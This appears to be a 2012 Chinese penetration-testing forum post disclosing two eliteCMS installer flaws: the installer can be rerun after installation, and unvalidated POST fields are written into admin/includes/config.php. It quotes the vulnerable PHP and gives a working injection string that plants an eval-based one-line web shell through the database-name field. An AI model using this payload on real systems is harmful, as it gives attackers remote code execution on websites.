中国网络渗透测试联盟
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
[打印本页]
作者:
admin
时间:
2012-11-18 13:59
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
' u5 t0 {6 I1 k. x
/ j8 v; ]; y9 v2 L+ _; a
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
5 E$ v. |& o6 V( p8 Y. J6 i
我们来看代码：
8 }: b& L: F6 N/ d; m0 n$ ?( N( G
0 o u$ D7 F" F; f9 T4 W
...
# _% H/ [# j. e) g& p4 D- W- O3 {
elseif ($_GET['step'] == "4") {
* g( B. i: Q6 E2 K) U5 b. F
$file = "../admin/includes/config.php";
& }9 |$ ]% f& a0 V4 b( E/ a+ A
$write = "<?php\n";
% I$ [+ M5 e* V+ L
$write .= "/**\n";
( S6 p1 H# {, \1 B; F8 r! ]2 `
$write .= "*\n";
' B+ L- S/ S7 h4 u7 X- L
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
6 a* I6 C6 a' M- X2 w$ A
...略...
7 D K6 M7 O4 Y- y5 S& h
$write .= "*\n";
; o$ D: i, w, u4 ]
$write .= "*/\n";
1 A6 s7 F) Y. x* E' ^; ?( E
$write .= "\n";
' A5 \! e' i/ y3 q$ t; ?: [5 v2 q
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
* D/ [" I4 r v# g( X
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
D/ l, s" m+ J- J- l! B
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
! e( c" @; c2 Z. n0 o/ r0 Q# z
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
& H9 g7 }* n) O! p8 }, `
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# e; n3 {8 q" h, b0 v( f8 X k& b
$write .= "if (!\$connection) {\n";
% @4 o: @5 f7 k' I
$write .= " die(\"Database connection failed\" .mysql_error());\n";
, A! s! f7 ~; Z5 s5 Y% X& n; z/ a1 d
$write .= " \n";
' u) O- u% @9 `; N
$write .= "} \n";
$ s/ ~, `5 d& q8 D
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
& n% b4 Z8 H: D0 m+ q1 L
$write .= "if (!\$db_select) {\n";
. p/ v) U( h' n3 C- K' T; s s
$write .= " die(\"Database select failed\" .mysql_error());\n";
$ l1 C/ E; c# I+ ^) {: J
$write .= " \n";
$ T% N; i% C/ ]) f) K: G- B
$write .= "} \n";
8 y; M' ]1 m/ w+ u
$write .= "?>\n";
! c0 Y: M3 G4 |0 E. O
3 N! p# R8 \( N6 f1 B
$writer = fopen($file, 'w');
0 n4 C/ }0 B2 \3 P: _. M
...
; o& u8 @, o" Q. X5 A* ?
/ \$ H, b: k3 h; r) R7 w
在看代码：
6 M( }' F4 M8 i+ l- o9 F
2 [1 a& s, O) E) m( T
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
2 {$ ^5 B ^5 Z
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
' [" w- {) K# t
$_SESSION['DB_USER'] = $_POST['DB_USER'];
. \8 G5 @0 u7 O& P3 E
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
2 s9 s- l: z2 S. l. p8 e* M' F
! [' B7 R0 z5 y* p$ J9 E
取值未作任何验证
* V% A1 @. k/ ?) ^& e7 I e
如果将数据库名POST数据：
4 ^0 J' L6 U3 P. ?( V2 W
. x- E5 j7 p3 V! W% j" Q
"?><?php eval($_POST[c]);?><?php
~! h9 T1 M" ?
3 t# a0 z, w0 g8 c
将导致一句话后门写入/admin/includes/config.php
! j4 ` ~& e$ y, U
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2